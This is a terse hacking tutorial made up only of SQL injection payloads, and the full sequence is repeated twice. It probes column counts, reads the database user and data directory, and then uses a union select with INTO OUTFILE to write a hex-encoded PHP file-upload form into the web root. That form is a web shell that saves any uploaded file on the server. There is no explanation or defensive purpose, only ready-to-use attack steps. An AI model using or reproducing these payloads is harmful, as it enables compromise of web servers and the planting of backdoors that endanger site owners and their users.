[TUTORIAL]
SQLinject via Upload shell
'
-1 order by 6--
-1 union select 1,2,user(),4,5--
-1 union select 1,2,@@datadir,4,5--
-1 union select 1,2,0x3c666f726d20616374696f6e3d2727206d6574686f643d27706f73742720656e63747970653d276d756c7469706172742f666f726d2d64617461273e3c696e70757420747970653d2766696c6527206e616d653d2766696c65273e3c696e70757420747970653d277375626d6974272076616c75653d275e273e3c2f666f726d3e3c3f7068702069662840636f707928245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c245f46494c45535b2766696c65275d5b276e616d65275d29297b6563686f20223c626c696e6b3e53554b53455320213c2f626c696e6b3e223b7d203f3e,4,5 into outfile 'c:/xampp/htdocs/injector/file.php'--
-1 order by 6--
-1 union select 1,2,user(),4,5--
-1 union select 1,2,@@datadir,4,5--
-1 union select 1,2,0x3c666f726d20616374696f6e3d2727206d6574686f643d27706f73742720656e63747970653d276d756c7469706172742f666f726d2d64617461273e3c696e70757420747970653d2766696c6527206e616d653d2766696c65273e3c696e70757420747970653d277375626d6974272076616c75653d275e273e3c2f666f726d3e3c3f7068702069662840636f707928245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c245f46494c45535b2766696c65275d5b276e616d65275d29297b6563686f20223c626c696e6b3e53554b53455320213c2f626c696e6b3e223b7d203f3e,4,5 into outfile 'c:/xampp/htdocs/injector/file.php'--